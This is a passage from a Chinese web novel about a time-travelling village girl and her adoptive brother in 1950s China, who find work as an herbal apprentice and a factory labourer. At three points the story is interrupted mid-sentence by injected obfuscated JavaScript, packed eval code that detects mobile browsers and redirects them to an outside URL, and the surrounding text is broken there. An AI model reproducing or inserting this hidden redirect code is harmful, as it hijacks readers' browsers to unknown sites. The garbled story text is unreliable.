闻言,柳骄白脸上的笑容一僵,故作不在意:“没关系,我知道你不是故意的。”不想再提昨天的事,他开始转移话题,“小医生是哪里人啊?是省城本地人么?” 赵二蛋刚巧提着一壶温水进了病房,给焦离和柳骄白各倒了一碗,顺口接话道:“不是,我们是三河村人。” 三河村? 柳骄白心里一突,他试探问:“是泗水镇下面的三河村?” “咦?你怎么知道?”赵二蛋有些惊奇。 焦离也朝柳骄白看过去。 遇见老乡了?不能这么巧吧?! 她惊疑不定的上下打量了一眼柳骄白,模样很陌生,她很确定,原主从来没见过这个人。 说实话,三河村挺落后偏远的,坐落在大山深处,又是名不见经传的小村子。在外面他们一旦说起三河村,交谈的人几乎个个目露茫然,直问三河村属于哪个镇哪个县,听到泗水镇,也是想了半天才依稀有点印象。 这还是头一次有人精准地说出三河村所在,就连赵二蛋都不由惊讶起来,忍不住多看了柳骄白两眼,他该不会也是那儿的人吧? 还别说,这么一看,赵二蛋莫名觉得柳骄白这张脸有点眼熟,好像在哪里见过一样。 柳骄白避开他的视线,眼里瞬间闪过一丝不自在,他推了一下眼镜道:“我听说过那个地方。” “我们是来城里治病的,”焦离也有些渴了,端起大海碗喝了一小口,看似不经意地问他:“那柳同志是哪里人啊?你看起来好像也不是本地人。” “确实不是,”柳骄白否认后也没说自己来自哪里,好似刻意回避一样,而是继续道,“我是毕业后被分配到省城电厂的。” 焦离眨了一下眼睛,眉眼弯弯,也没追问,而是佯装羡慕道:“哇!像你这样的大学生,在电厂待遇一定很好吧?工作辛不辛苦啊?” “就那样,一个月才25万块钱。” 至于辛苦么? 当然辛苦。 柳骄白都不知道这几个月他是怎么过来的。他所在的电厂在解放后第一时间就被组织接管了。因为战争,供电线路被严重破坏。他进厂的第一个任务,就是跟着原电厂的工人一起进行抢修工作。这还没完,因为电厂设备陈旧,能够运行的机组没有几台,他们白天出去抢修电线,挖坑立电杆,晚上在厂里检修设备,简直没日没夜,昼夜不停。 柳骄白从小养尊处优惯了,简直苦不堪言,心里早就打起了退堂鼓。 他迫切的想要调到一个既工资高又清闲的岗位。而就在这时候焦柔出现了,初时他并没有把她放在心上,只是想逗着玩玩而已。直到他得知她爸爸是钢铁厂新上任的厂长,妈妈是军区医院的住院部主任时,他彻底心动了!这样的身份背景,人脉关系,只要他娶了焦柔,以后想要去什么岗位,想要办什么事,必定轻而易举就能办成。 这是一个绝佳的机会!柳骄白心里清醒无比,他必须要牢牢把握住,绝不能错过! 背靠大树好乘凉!这是一个亘古不变的真理,而焦家就是他想要攀上的那棵大树。当风暴到来,只有大树才能为他遮风挡雨,令他安然无恙。 因此,这一趟他本不想来的,可一想到昨天罗主任也在场,为了避免授人以柄贻人口实,影响他在焦家人心中的观感,柳骄白还是来了。 听完柳骄白说的话,焦离眼睛都直了。 25万块钱,那就相当于25块钱。要是她有25块钱,欠李大力的钱立马可以还了,医院的住院费也有了,更可以在省城租房落脚了,那还愁什么? 还才?还就那样?! 她瞬间柠檬了,人比人真是气死了。 坐在一边的赵二蛋也忍不住吞了吞口水,好、好多啊!他一辈子没见过这么多钱! 大丫说得对,当工人确实比扛包工好多了! 焦离眼巴巴的问:“那你们电厂还招不招人啊?我哥想进厂里当工人。” “嗯、这个……前段时间厂里刚召回了一批原电厂员工,暂时不打算招人了。”即便要招人,也不是现在,至少要等新一批发电机组到厂里,才可能招新工人。 见焦离面露失望,柳骄白想了想道:“西郊荒石坡即将要建一个钢铁厂,下个星期开始招人,你们可以去试一试。” 这个钢铁厂就是焦柔的爸爸焦平安一手主持选址筹建的,柳骄白一直在关注这件事,想着要不要找机会调到钢铁厂的宣传科。原先他还有些犹豫,毕竟厂子未建,现在又极度缺乏大型机械设施,建厂前期必定是要全靠人力来完成,不用说肯定是非常辛苦的,未必会比在电厂轻松。 然而在经历了昨天惊魂的地雷事件后,他是一秒都不想再在电厂待下去了。原本的犹豫变成了坚定,只是其中要怎么运作,需要他好好想想办法才行。 钢铁厂?那可是重工业啊!工人的待遇肯定是一等一的好。 焦离大喜:“那钢铁厂招人有什么条件么?” 柳骄白被问住了,他联想到自己,迟疑道:“至、至少要有文化吧?”说着,他补充一句,“要会识字的。” “我哥有啊。他不止会识字,还会写呢!”焦离信誓旦旦地说。 赵二蛋:“……” 他跟着大丫才学了两天,到现在只认得二三十个字,勉勉强强会写自己的名字,这算是有文化么? 他一脸心虚,伸手偷偷扒拉一下焦离,示意她别说了! 别闹!焦离回头瞪了他一眼,我忙着呢!少来扒拉我。 柳骄白问:“那算数呢?” “也会,我哥算数可好了。”焦离肯定点头。 “是么?” 瞥见柳骄白怀疑的视线,刚学会从一数到百的赵二蛋立即挺起胸膛,做出很自信坦然的样子。 “……” 柳骄白收回目光,他以为眼前的傻大个大字不识呢,没想到他居然上过学堂。 果然人不可貌相。 * 赵二蛋周到礼貌地站在病房门口送走了柳骄白,他带来的礼品也没要,硬塞回他手里,让他又带回去了。 等人走远,他返回病房,就见焦离拿出旧报纸和铅笔,开始催他:“哥,快点!从今天开始你就别再出去了,跟我学认字,务必要在一个星期内学会几百个常用字。” 赵二蛋犹犹豫豫道:“钢铁厂要有文化的,我不行的。” “怎么不行?你不是会认字么?只要会认字就算是有文化!”焦离斩钉截铁道。 赵二蛋:“???” 焦离眼珠转了转,开始胡说八道:“哥,谁也不是生下来什么都会的,都是靠人教,靠自己学的,当工人也是这样。咱们先混进厂,等以后再慢慢学嘛。”她苦口婆心道,“哪怕你什么都不会,也要给我装出一副我很懂的样子。”就跟在现代社会找工作的求职者一样,哪怕只会开个电脑,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207941|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要在简历写上‘熟练操作电脑,精通excel表格’云云,就为了能够应聘上工作岗位。 反正,找工作不能太老实,要靠混,才有机会竞争上岗。 话落,赵二蛋瞠目结舌。 “来,把这段文字给我念一遍。”对比赵二蛋,焦离显得很积极。 要知道在这个年代,全国文盲率几乎达到了80%,能认得字的人是极少数的,要不然后面也不会有轰轰烈烈的扫盲运动了。而且当时的扫盲的标准还只要求干部、工人学会2000个常用字,能读报,还会写短篇应用小短文而已,要求不高。 由此可见,全国绝大多数工人是不识字的。 现在厂子初建,肯定很缺人。赵二蛋的成分没问题,身体健康且没有不良疾病,再加上又会认得点字,焦离自信他一定能够选上。 可赵二蛋没信心,依旧在踌躇不定,焦离就鼓励他:“你想想将来,要是你能当上了工人,一个月有25块的工资,甚至更高,以后不就能想吃什么就吃什么,想买什么就买什么了。如果当不了工人,你只能回村里当农民,天天在地里刨食,闲时还得打零工挣那几分一毛的钱增加收入,一个月都不一定能挣得一块钱。年年都吃不饱穿不暖的,这样的日子你受得了么?你还能继续忍受下去么?” 不能! 赵二蛋霍然站起,在病房走来走去,工人和农民的待遇,差别实在是太大了。 如果当上工人,他就能月月领工资。 有了钱,娘在家里也能轻松一点。 大弟娶媳妇的聘礼,三个妹妹的嫁妆,他统统都能给得起。 想到这里,赵二蛋呼吸都急促了,面上一片兴奋的通红。 焦离:“……” 唔,看来这碗鸡汤的效果比她想象中的要好太多了,简直猛得惊人。 焦离:“好了好了,赶紧坐过来学习。” 赵二蛋努力深呼吸一口气,乖乖坐在焦离面前,端出比平时更认真百倍的态度开始读写朗诵,那一副头悬梁锥刺股的模样,看得焦离分外满意。 这就对了嘛! 来到省城后她就发现了,这个世界有很多地方都和她曾经的世界不一样,但历史发展基本上大致相同。她熟知后世历史走向,当然知道将来会发生什么事。这个年代,工人苦,农民更苦。赵二蛋还真得有一份正经的工作才行,这样旱涝保收的,怎么也饿不死。 从三河村到省城,一路上要不是有赵二蛋在,焦离恐怕早就凉了,哪能活到现在。所以她如此费心费力,也是为了报答赵二蛋的恩情。 即使知道赵二蛋这么尽心尽力帮她是出于对原主的深厚情谊,与她焦离一点关系都没有,但焦离一点也不介意,她从来都不是喜欢钻牛角尖的人,也不是不知好歹的人。 从她在原主的身体醒来那一刻起,两人的命运注定彼此相连,密不可分。 刘大丫是过去,而焦离是未来。 过去与未来,本就是相连在一起的。 趁着赵二蛋用心苦读的间隙,焦离翻出当初从刘家逃离时从木板床底下拿出来的一个黑色布包。 这是原主藏得最深的东西,当时没来得及细看,也不知道里面有什么东西。 焦离打开一看,只见一堆零碎的小东西,有一根明显被使用过度的拇指长的铅笔,一根红绳子系着的磨得非常圆润的葫芦形状的桃核,以及……一本书? 只见被虫蛀啃噬得斑斑点点的封面上写着几个大字——《中医基础学》,1933年出版,作者叶劲秋。打眼一看泛黄的页角都卷边了,一看就是被人翻过很多次了。 原主的小布包里居然藏有一本关于中医的书籍? 焦离看得有些发愣,这书怎么来的? 赵二蛋不经意抬头就看见了她拿着书发呆的一幕,探头一看:“咦?这本书你还留着啊?” 焦离:“???” “你忘了?你14岁那年,被你娘罚跪在屋外一天一夜,冻得脸色发青,昏睡了整整两天才醒过来。我问你怎么回事?你也不说,只低头一个劲的哭,过了好久才小声说想要书。见你哭得可怜,我就去镇上给你找了一本来,就是这本书。” 10. 第 10 章 啊!焦离想起来了。 那一年刚好是冬天,刘宝珠在屋里冷得笔都拿不住,田招娣看的心疼,难得奢侈一回在堂屋里烧炭火,让她坐在温暖的火盆前读书写字。 那个晚上确实冷,原主抱着簸箕坐在门槛外,借着屋里透出来的那点微弱的亮光,一边竖起耳朵听着屋里传来的刘宝珠背诵课文的声音,一边仔细挑拣着藏在白花花大米里的碎石子。即便眼睛已经酸得不行了也不敢停,生怕漏了哪一点。 这个年代的谷子从收割到脱粒,中间经过数道工序,都是人工完成,谷子里极易掺杂着碎石子一类的杂物。即便煮前经过多次淘洗,小碎石子也淘不干净。田招娣嫌硌牙,便让原主把今年秋里刚下来的新米里面的杂物都挑干净,挑不干净就不给饭吃。 原主白天要放牛、拾柴火,回来还要打扫卫生烧火煮饭,一刻也不得闲。因此挑拣小石子的活只能晚上做。挑了没一会,原主就被冻得手脚发僵,可田招娣不让她进屋,嫌她在堂屋里碍眼。她没办法,只能继续忍着,因为整个刘家,只有堂屋这边才点有煤油灯。 因为原主挑得太过认真,她连刘宝珠和田招娣她们什么时候走的都不知道。直到周围黑得再也看不清簸箕里的大米时她才迟钝抬头,发现堂屋已经空无一人,只余火盆里的一点灰烬。 见状她心里莫名高兴,抱着簸箕进了屋,悄悄给火盆加了点细柴,没一会火光重新亮起,周边温度上升,身体总算不那么冷了。 忽然,原主发现立在火盆旁边的书桌上叠放着一摞书籍,她站起身,就见一张刚写完的书稿正摊在桌面上,一行行娟秀整齐的小字瞬间映入她眼帘。 那是宝珠的字。 真好看啊!她从来没见过这么好看的字。 她怔怔望着这张书稿出神,鬼使神差的,原主不自觉地放下簸箕,一步一步走向书桌,缓缓地坐在刘宝珠刚才坐的位置上。 要是、要是她也会写这么好看的字就好了。 她犹豫了一下,也拿起了笔,抽出书稿下面的一张白纸,照着上面的文字也写了一行字。 她写的很认真,可写出来的字像蚯蚓在爬一样,七扭八拐,有字形,却没字样。 然而原主却很满意了。 她凝视着自己写出来的字,抑制不住满心的欢喜,偷偷捂嘴笑了。 然而下一秒,门外倏地传来一阵脚步声,伴随着田招娣心疼的声音,“宝珠,你怎么又起来做功课了?不是说困了么?怎么不去——” 声音戛然而止。 田招娣暴怒地盯着一脸惊恐回视过来的刘大丫,尖声叫道:“你在干什么?” “我、我只是……只是……” 刘大丫不住地后退,神情满是慌张。 田招娣两三步冲了过来,就看到书桌上方的那张白纸上写有一行字,字迹扭曲,一看就不是自家宝珠写的。 显然,那是大丫自己写的。 “你居然敢偷用宝珠的纸笔?谁允许你写字的?谁允许你写的?” “我、我只是想学认字……” 刘大丫的话还没说完,田招娣神情立马变得恐怖起来,毫不犹豫挥手扇了她一巴掌。 啪! 一道巴掌声在寂静的堂屋响起,显得格外大声。 “不可以!你不可以学!” “为什么?”刘大丫捂着脸,强忍着眼泪,“为什么同样是你女儿,宝珠可以上学堂,我却不可以?” 啪! 又是一巴掌。 “不一样!你不……你怎么可能和宝珠一样?”这话好像触动了什么开关似的,田招娣疯了一样,一把将白纸拿起来用力撕碎,“宝珠是我的心肝宝贝,而你,你不过是,不过是——”话语猛地顿了一下,她咬牙吞下后面的话,面上愤怒和恨意交织在一起,“你本来就不是我想生下的孩子!一直都不是!” 纷纷扬扬的碎屑落了下来,落在地面上,火盆里。 火光陡然亮起一瞬,转眼又灭了。 田招娣的面孔隐没在黑暗里,她一字一顿的道:“你绝不可以上学堂!不可以认字!因为你没有资格!” 似想起什么,她猛地转身疾步走向后院的杂物房,径直往刘大丫惯用的旧木箱子走去。一打开,果然在箱子底下看见一沓宝珠曾用过的废稿纸及半截铅笔。 田招娣一脸果然如此的表情,连连冷笑:“好啊!你居然还敢偷你妹妹用的稿纸!” “我没有,这些都是妹妹丢在地上不要的。” “就算是宝珠丢的,你也没资格拿!”田招娣一把推开刘大丫,抬手就把这些纸张全丢在铁盆里,用火点燃。 火光腾一下就蹿了起来,照亮整个杂物房。 刘大丫苦苦哀求:“娘,不要。” “你给我听着,以后要是让我知道你私底下偷偷识字,我就把你的手脚全打断,送去给镇上的老乞儿当老婆。”她指着门外,厉声道:“去,去外面跪下!” 刘大丫难以置信地望着她,眼泪流了下来。 为了给大丫一个难忘的教训,田招娣硬是让她在外面跪了一天一夜。刘胜利见了也不管,自顾自地吃吃喝喝,跟个没事人一样,仿佛跪在那里的不是他闺女,而是个不相干的外人一样。 最后还是村里人看不过眼,过去轮番劝说,那两口子这才勉强松口让大丫起来了。 赵二蛋担心得不行,偷偷去杂物间找了大丫,见她怎么也叫不醒,唬了一跳,还以为她人怎么了呢。最后见人没事,醒过来却一直哭,问她话也不回,急得他都不知道怎么办才好。 只有焦离知道,原主当时是难过得说不出话了。长到14岁,这是小姑娘第一次真切地直面父母偏心的事实,也是她第一次知道,原来在这个家里,她是被亲生爹娘强烈憎恨的存在,所以她不被允许读书认字,因为她没有资格。 可她不甘心,凭什么? 凭什么剥夺她识字的权利? 凭什么! 她无声无息地哭着,强烈的情绪在胸腔翻涌不休,直到听到赵二蛋的声音,才茫茫然抬头。 “你可别再哭了,想要什么跟我说说,我去找给你。”赵二蛋差点给她跪下来了。 想要什么? 刘大丫喃喃道:“我、我想——”和宝珠一样上学堂,可…… 最终,她仰起头,泪水一滴一滴从眼角滑落了下来:“我想要一本书。” 赵二蛋一口答应下来:“没问题,你等着,哥去镇上帮你找。”说着,他利落的从窗口翻了出去,很快不见踪影。 第二天,赵二蛋就丢了本书过来,“喏,给你。” 这本书就是《中医基础学》,里面的字原主大多都不认识,但这不妨碍她经常偷偷拿出来翻看。 毕竟,这是独属于她的第一本书。 焦离捧着这本原主极为宝贝的医书,好奇地问赵二蛋:“哥,这本书你当时怎么得来的?买的?” “不是,这本书是我在黄地主家那边捡的。”赵二蛋一边在旧报纸上写写画画一边随口道,“我路过黄家大宅的时候正好碰见他家长工捡了几本出来往外扔,我跟着人抢到了其中一本。后来听说是黄少爷嫌书被虫子咬了不好看,所以叫人扔了。他——” 话说到一半,赵二蛋猛地顿住了,猛拍自己的脑袋,“大丫,我终于知道为什么刚才总觉得柳骄白眼熟了。” 焦离不由问:“为什么?” “他就是泗水镇的黄少爷,黄地主家的儿子。怪不得他知道泗水镇呢,原来他也是咱们那儿的人。”赵二蛋恍然,“我从前在镇上见过他两次,隔了两年,这次差点没认出来。” 泗水镇的黄地主?就是田招娣口中的被打得血肉模糊的那个?柳骄白是他的儿子? “他是地主儿子?那他怎么能进电厂呢?”焦离这回真惊讶了,“而且他怎么是姓柳不是姓黄啊?” 厂里不是审查很严格么?以柳骄白的成分,即便他是大学生的身份,恐怕也很难进得了厂吧? 是因为他改了姓么? “我也不知道。”赵二蛋挠了挠头。 想不通那就不想了。 焦离催他:“刚才教你字都会认全了么?赶紧学,待会、嗯半个小时后我要检查。” “啊?” 赵二蛋立即紧张了,再也不敢分心,努力记住刚才新学的那些字。 焦离把原主那些零碎的小东西收好,只把书本留了下来,在一边慢慢翻看,顺便与曾读过的《中医基础学》的内容互相一一印证,倒也不觉得无聊。 半个小时后,焦离开始检查赵二蛋的学习进度,对结果很满意,然后又给他布置了新的学习任务。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207942|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“等等,到点了。我先去食堂买饭,回来再学。” 可能是学习太耗费精力了,赵二蛋觉得今天肚子饿得特别快,时间一到,就迫不及待蹿出门,朝食堂跑去了。 焦离:“……” 为了省钱,他们两人现在一天三顿都只吃两个红薯,作为一个病号,焦离每天还额外多了一个鸡蛋。 饶是如此,焦离依然觉得有点顶不住了,每天吃红薯吃到怀疑人生,简直生无可恋。没穿过来之前,焦离觉得吃饭是一种享受,现在嘛,则变成了折磨。 她做梦都想吃红烧肉、香辣排骨、酱烧猪蹄……然而上辈子普通人餐桌上常见的菜式在这里却成了一种奢侈,这个年代大多数人尚且吃不饱饭,一年到头吃不上一点荤腥。想要顿顿吃肉,简直比登天还难。 想起上辈子曾吃过的那些美食,焦离忍不住咽了咽口水。她勉强吃了一个红薯,就再也吃不下了。 把剩下的一个红薯和鸡蛋拿给赵二蛋,她有气无力道:“哥,给你吃。我饱了。” “这么快就饱了?”赵二蛋疑惑,想了想,把它们放到篮子里,“先放着,等你饿了再吃。” 焦离:“……” 焦离两眼无神,缓缓瘫倒在床上。 这日子什么时候才能到头啊! 转眼便过了一个星期,今天就是赵二蛋去钢铁厂报名的日子。 焦离不放心他一个人去,趁着主治医生任大夫过来查房时就去缠她,说要请假出院一天。 任大夫年近六十岁,是个笑容和蔼的小老太太,听了焦离的话也没什么反应,只悠悠道:“不行,你今天还得输液,再做个检查,哪儿也去不了。” 赵二蛋也在一边劝道:“我一个人去就行了,不用你陪我。” 焦离不听,她抓着任医生的手臂摇了摇:“检查可以明天再做,至于输液,我下午就回来了,也不用急于一时嘛。” “本着对病人负责的原则,我建议你不要出去乱跑,好好待在病房养病。” “任医生。” 任大夫朝焦离摆了摆手,转身就要出门:“别闹了,不批。” 焦离:“……” 就在这时,身后传来一道略有熟悉的声音。 “怎么回事?” 焦离和任大夫齐齐看过去,就见罗秀映站在两人身后,面色淡淡。 “罗主任。”任大夫向她打了声招呼,然后笑眯眯道,“小同志有事想要请假出院一天。” 罗秀映挑眉,向焦离招了招手:“你过来,我看看。” 时隔一个星期,再次看到这个和自家妈长得很像的罗主任,焦离面色很坦然,大大方方地走到她的面前,就好像之前在一楼发生的不愉快都不存在一样。 罗秀映看着眼前的小姑娘,面色闪过一丝复杂。 自家闺女那天嘴上说知道错了,但其实心里对自己被当众反打了一巴掌回去的事很介怀,心里恼得不行,一直躲在楼上不肯下来吃饭。 这下可愁坏了老太太和老爷子,两人轮流上去哄人,却没什么用,闺女依旧不理不睬,闷在房里不见人。老太太又气又心疼,要不是她拦着,恐怕早就赶来医院找这小姑娘的麻烦了。 老焦一开始态度还是挺强势的,时间一长,见闺女接连两天都没好好吃饭了,哪里还坐得住?第三天亲自上楼说了几句软话,对于闺女提出的把她心上人调到厂里的宣传科的这件事也没有一口拒绝,只说会考虑考虑,总算把人给哄好了。 就连自己,也拿使小性子的闺女没办法,道歉的话都说了一箩筐,还许诺买这买那的,闺女这才勉强满意。 一想到焦柔,罗秀映目光就变得柔和起来,真是小孩子脾气。 跟闺女比起来,眼前的小姑娘倒是沉稳许多。 “伸手。” 焦离依言照做,罗秀映给她仔细把了脉,开口道:“以你现在的身体状况,不适合外出,还是好好躺着静养吧。” 罗主任都发话了,看来今天是不能出院了。 焦离有些丧气:“好的。” 任大夫摸了摸焦离的头,朝罗秀映笑了一下,然后出去了。 罗秀映没动,她反而走了进来,对焦离说道:“我有事想找你谈谈。” 谈谈?谈什么?! 为了那天的事找她算账么? 11. 第 11 章 焦离丝毫不惧,她坐在病床上,仰头问她:“有什么事么?” 一边问一边晃动着双腿,看着很是悠哉。 反正那件事又不是我理亏,怕什么? 赵二蛋担忧地看了焦离一眼,犹豫了一下,搬来凳子放在罗秀映面前:“您坐。”他自己则坐在一边,一脸虎视眈眈,以防罗秀映做出不理智的举动来。 “哥,你坐下来干什么?赶紧去报名啊。”不去早点,万一钢铁厂提前招满人了你招不上怎么办? 赵二蛋不动:“我等会再去,不急。” 焦离叫不动他,也就罢了。 反正现在才六点,应该也不算晚。 因为姿势的缘故,焦离视线刚好与罗秀映胸口齐平,她下意识扫了一眼,却没见到工作牌。 这才想起来,这个年代的医护人员没有佩戴工牌的习惯。 二蛋哥一直叫她‘罗主任’,好像也没跟自己说过这个罗主任全名叫什么呢。 察觉到赵二蛋警惕的视线,失笑:“不要紧张。我来只是想了解一下大丫同志的情况而已。”刚说到一半,她无意间看见柜台上有一本摊开的书籍,旁边还放着几张写满小字的旧报纸,打开话头:“你们会识字?在哪上的学校?毕业了么?” 见她不像是来找麻烦的,赵二蛋放松不少,诚实答道:“我不识字,正在跟大丫学呢。” 闻言,罗秀映目光转了过来,看向焦离。 “我没上过学堂,都是偷听妹妹念书自个学会的。” “偷听?”罗秀映有些不解。 “嗯。”焦离伸手拿过那本医书,随口答道,“我娘不让我识字。” 闻言,罗秀映一怔。 为什么妹妹可以上学堂,姐姐却连识字都不被允许?刘家为何如此差别对待? “光靠偷听我认的字也不太全,后来老瞎子师父叫我背这本书,还给我解释含义,我就会的更多了。”焦离拿着书朝罗秀映晃了一下,笑容带着一丝得意,“师父还经常夸我悟性好,学什么都快呢。”假的,老瞎子木讷寡言,经常往那儿一躺就是一天,都不怎么理人的。焦离这么说,都是为了给自己会认字找借口圆谎呢。 反正老瞎子已经死了,她想怎么编就怎么编,绝不会被拆穿。 赵二蛋也跟着点头:“大丫打小就聪明,别人说的话她听一遍就记住了,记性特别好。” 罗秀映信以为真:“给柳骄白同志正骨的本事也是你那师父教你的?” 来了! 焦离抿嘴一笑,低头装出有些不好意思的样子:“嗯,这还是我第一次医人,没想到误打误撞,刚好把人治好了。” “第一次?”罗秀映讶然。 赵二蛋忽然想起焦离曾跟他说过的话:哪怕你什么都不会,也要给我装出一副我很懂的样子。咱们先混进厂,等以后再慢慢学。 他脑子灵光一闪,抢先一步开口:“大丫在村里给老牛和小狗治过断腿,我、我之前脚扭了也是大丫治好的,也不算第一次了。” 焦离:“???” 老牛是老瞎子治的,原主只在一边帮忙递东西而已。至于断腿的小狗,原主不过是见它可怜就抱它回杂物房养伤,照着老瞎子的办法给它的断腿绑上木棍固定住,然后就不管了,平时给它一点吃的。可能是木棍绑歪了,于是小狗伤好后前腿伸不直,走起路来一跛一跛的。 还有赵二蛋脚扭伤的事,那是他为了找知了猴爬上树下来时不慎扭到筋了,压根就没找人看,敷了消肿的草药后没几天就自动好了。 赵二蛋悄悄戳了她的后背,暗示她赶紧接话。 焦离:“……” 为了她的工作,赵二蛋居然学会说谎了。 既然二蛋哥这么给力,焦离也不能拖后腿,她面不改色道:“嗯,我拿我哥练手过。” “你师父除了教你正骨,还教了你什么?” “炮制药材,辨认草药,”焦离谨慎的只说了两样,然后又补充了一句,“中药炮制我只听师父讲过,没有真正动手实践过。” 唔,越低调越安全,她得藏些话,不能全漏了出去。 罗秀映缓缓点头:“不错。” 因为国内制药工业不发达,药品种类稀缺,多依靠国外进口。如今医院里常备的其实都是中草药,中药房那边急需人手,眼前的小同志有一点中医基础,又知道怎么炮制药材,似乎正符合中药房招人的要求。 只是不知道她掌握了多少关于中草药的知识。 “我来考一考你,通泉草的中药名叫什么?” “绿兰花。它还有石淋草、虎仔草、脓泡药三个别名。” “功能主治?” “止痛,健胃,解毒。用于偏头痛,消化不良;外用治疔疮,脓疱疮,烫伤。” “柴胡呢?” “别名叫做茈胡、地薰……性微寒、味苦……具有疏肝利胆……” 考校了十多分钟,罗秀映发现,刘大丫对农村常见的一些中草药知之甚详,对答如流,但对于不常见的,稀少珍贵的药材,她答得磕磕绊绊,中途偶尔停顿一下,然后又继续回答。 她学得很杂,什么都会一点,又什么都不精。就比如号脉,她也会,罗秀映伸手让刘大丫给自己诊脉,没想到她最后说出脉象竟有六七分准确,这就很难得了。 她的那个老瞎子师父显然是个半吊子,教徒弟学中医都东一榔头西一棒子的,并没有深入地教她更系统的中医理论知识。 这倒符合罗秀映根据刘大丫透露出来的只言片语心里对她的那位老瞎子师父身份的一点猜想——一个走村串乡的游方郎中。 罗秀映问完心里有数了。 她提出邀请:“医院正在招中药师,你愿不愿意来我院工作,先从学徒做起?中医科的于大夫医术高超,祖上曾出过御医,由他来带你,你跟在他身边,能学到更多。” “我愿意!谢谢罗主任!”焦离大喜。 她的工作有着落了! 一旁的赵二蛋也很高兴,这下大丫终于可以留在城里了。 “待会人事科的人会过来让你填张表,一切走正常程序,若审查没问题,等你病好得差不多了,再上岗也不迟。” 审查?应该没问题……吧? 而且,她的病要养很久呢,真要等好了才能上岗,那她岂不是要等个一年半载,甚至更久? 焦离故意问:“那我的病什么时候能好?” 罗秀英沉吟了一会:“刚才给你把过脉,恢复得不错,若继续治疗下去,再有一个月就能出院了。出院之后还要继续用药慢慢调养,每隔三个月定时来医院复诊,大概需要约两年的时间就能彻底好全。” “太久了。罗主任,我可不可以出院后就立马上岗?我身上一分钱都没有,再不工作就要活不下去了。” 赵二蛋急了,正要开口说话却被焦离一把拉住:“哥,咱们还欠着别人的钱呢,我想尽快挣钱。” “这个……”罗秀映有些迟疑,见焦离巴巴地看着她,瘦尖的小脸带着病弱的苍白,终是松了口,“一个月后再说吧,到时候看你恢复得怎么样。” 焦离喜道:“谢谢罗主任。” 待罗秀英走后,赵二蛋担忧道:“一出院就工作你身体能吃得消么?要不然这工作你就别做了,哥养你。” 焦离:“我哪有那么脆弱啊,而且有罗主任看着呢,要是她觉得我的身体状况无法胜任工作,肯定不会让我上岗的。” 赵二蛋一想也是,于是放下心来。 “那我去钢铁厂报名了。” “快去快去。” “中午我要是赶不回来,你就自己去食堂打饭吃。知道食堂怎么走么?出了住院部大楼往后走一段路就是医院食堂。热水在二楼右边的小房间,你要是想喝水就上楼打……”赵二蛋絮絮叨叨的,老妈子一样,生怕焦离不知道怎么照顾自己。 “知道知道,哥你别啰嗦了,快去吧。我等你的好消息。” 赵二蛋前脚刚离开,后脚医院人事科的妹子就带着一张表过来了。 妹子二十来岁,浓眉大眼,扎着两条黑辫子,一来就向焦离做自我介绍,说她叫邱丽丽。 填完表,焦离向邱丽丽打听问:“邱姐,医院职工宿舍么?” “有啊。咱们医院包吃住的。”邱丽丽抿嘴笑了起来,脸上两个酒窝若隐若现,“职工宿舍是租的民房,距离医院很近,和食堂只隔着一堵墙呢。”说着,她左右看了看,“罗主任跟我说你有一个哥哥,在哪呢?” 焦离愣了一下,不明白邱丽丽怎么会突然提起二蛋哥? “他去西郊荒石坡了。”说完,她忍不住问,“你找他是有什么事么?” “罗主任说你们兄妹经济有点困难,正巧医院后勤部正在招短期临时工,可能要一个月吧。工钱一天两毛五分,想问你哥干不干?” 扛包工一天才一毛二,医院的临时工却有两毛五,足足比扛包工多了一倍,这样的好事从哪里找? 焦离没有立马拒绝:“等我哥回来我再问问他可以么?”要是钢铁厂没戏,至少还有医院的临时工可以干啊,万一将来能转正呢。 “行。这是申请表格,要是你哥有意愿,回来让他把表填了,拿到人事科给我。” “谢谢邱姐!” 邱丽丽甜甜一笑:“不用谢。” 来省城半个月,她和二蛋哥总算找到工作了。 焦离心里美滋滋的,而且工作还包吃包住,完全不用另外租房了。等她一出院就立马搬进职工宿舍,到时候又能省下一笔钱。 对了!焦离蓦地想起自己忘了问邱丽丽职工宿舍是多少人一间了。 民房?听起来似乎条件不太好的样子? 可惜人已经走了,焦离只好作罢,反正宿舍是个什么情况,到时候入职就知道了。 希望能过审查那一关吧。 赵二蛋到了下午就回来了,一脸压抑不住的喜悦:“大丫,我报名通过了。厂里还问我要地址,说审查通过就发电报通知我,我给了医院的地址。幸好你教我认了不少字,要不然我就选不上了。” 太好了! 焦离也为赵二蛋高兴,她问:“审查要多久啊?” 说到这里,赵二蛋脸一垮:“厂里说至少要两个月。我打算好了,明天就出去看看城里有没有活干,一边打零工,一边等厂里的通知。”毕竟他们还要好久才能正式上岗,总不能一直坐吃山空。 两个月?好巧,时间刚刚好! 焦离把邱丽丽留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 